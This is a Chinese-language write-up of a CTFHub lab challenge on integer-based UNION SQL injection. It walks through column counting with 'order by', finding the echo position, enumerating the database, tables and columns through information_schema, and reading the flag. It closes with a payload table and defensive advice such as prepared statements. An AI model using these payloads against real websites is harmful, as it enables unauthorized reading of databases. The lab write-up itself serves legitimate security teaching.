Writeup 4 CTFHub injection

Writeup 4 CTFHub injection

一、题目信息

  • **题目名称:**injection
  • **平台:**CTFHub
  • **赛事:**2017-赛客夏令营
  • **题目类型:**Web / SQL注入
  • **注入类型:**整数型联合查询注入(有回显)
  • 靶机地址: http://challenge-xxx.sandbox.ctfhub.com:10800/index.php?id=1
  • 最终Flag: ctfhub{c0c25953aa2a2d6489601381}

二、解题思路

页面正常回显 Practice makes perfect.,URL 中 id 参数直接拼接进 SQL 查询,且页面有明确回显位,因此判断为有回显的联合查询注入 。核心思路是用 union select 把目标数据拼接到查询结果中,通过页面回显直接读出。

三、解题步骤

1. 判断列数

使用 order by 逐步试探:

sql 复制代码
?id=1 order by 2    → 正常回显
?id=1 order by 3    → 无回显

结论 :查询结果共 2 列。

2. 找回显位

构造一个不存在的 id,让前半句查不到数据,后半句联合查询的结果才能显示:

sql 复制代码
?id=-1 union select 1,2

页面回显 2,说明第二位是回显点。

3. 爆库名

sql 复制代码
?id=-1 union select 1,database()

回显库名为 ctfhub。

4. 爆表名

http 复制代码
http://challenge-079518253c6a4375.sandbox.ctfhub.com:10800/index.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfhub'

回显表名,找到 flag 表:

复制代码
flag,info

5. 爆列名

http 复制代码
http://challenge-079518253c6a4375.sandbox.ctfhub.com:10800/index.php?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

回显列名为 flag:

复制代码
flag

6. 读取 Flag

http 复制代码
http://challenge-079518253c6a4375.sandbox.ctfhub.com:10800/index.php?id=-1 union select 1,flag from ctfhub.flag

页面回显:

复制代码
ctfhub{c0c25953aa2a2d6489601381}

四、关键 Payload 汇总

目的 Payload
判断列数 ?id=1 order by 2 / order by 3
找回显位 ?id=-1 union select 1,2
爆库名 ?id=-1 union select 1,database()
爆表名 ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfhub'
爆列名 ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
读Flag ?id=-1 union select 1,flag from ctfhub.flag

五、知识点总结

  1. 整数型注入:参数未加引号包裹,直接拼接数字,无需闭合引号。
  2. 联合查询注入前提:页面有回显、列数已知、回显位已知。
  3. order by 判列数:按列序号排序,超出列数会报错,是判断列数最稳的方法。
  4. information_schema :MySQL 系统库,tables 表存表名、columns 表存列名,是爆库表字段的核心。
  5. group_concat():把多行结果拼成一行,避免只回显第一条。
  6. 不存在的 id 配合 union:确保前半句无结果,联合查询的回显才能正常显示。

六、防御建议

  • 使用预编译语句(Prepared Statement),参数化查询,杜绝拼接。
  • 对输入做类型校验(如 id 强制转整数)。
  • 数据库账号最小权限,避免普通业务账号可读 information_schema。
  • 关闭详细报错回显,避免泄露数据库结构。

Rambo

2026年10月20日

🎉🎉🎉

相关推荐
ShineWinsu14 小时前
对于JavaScript:操作元素的解析
开发语言·前端·javascript·面试·web·dom·元素
hengdonghui1 天前
Writeup 4 CTFHub weakphp
ctf·md5 绕过·.git 源码泄露·php 弱类型比较
ShineWinsu3 天前
对于JavaScript:JavaScript基础语法的解析
开发语言·前端·javascript·面试·web·基础语法·循环
hengdonghui3 天前
Writeup 4 ByteMe CTF 2026 The Vormir Ledger
ctf·osint
alwaysrun3 天前
Web之wasm-pack详解
前端·rust·web·wasm
misty youth3 天前
前端知识速查
前端·react.js·web
xiancai_xianyu4 天前
Text2SQL落地生产库前,SQL要过哪三道闸
前端·数据库·sql·sql注入·text2sql·ai agent开发·企业级ai框架
ShineWinsu4 天前
对于CSS:弹性布局(Flexbox)的解析
前端·css·面试·浏览器·web·网页·弹性布局
voipmaker4 天前
选煤厂智能化:UWB 人员定位系统 WebAPI 对接融合通信平台实战
物联网·实时互动·json·音视频·实时音视频·web·视频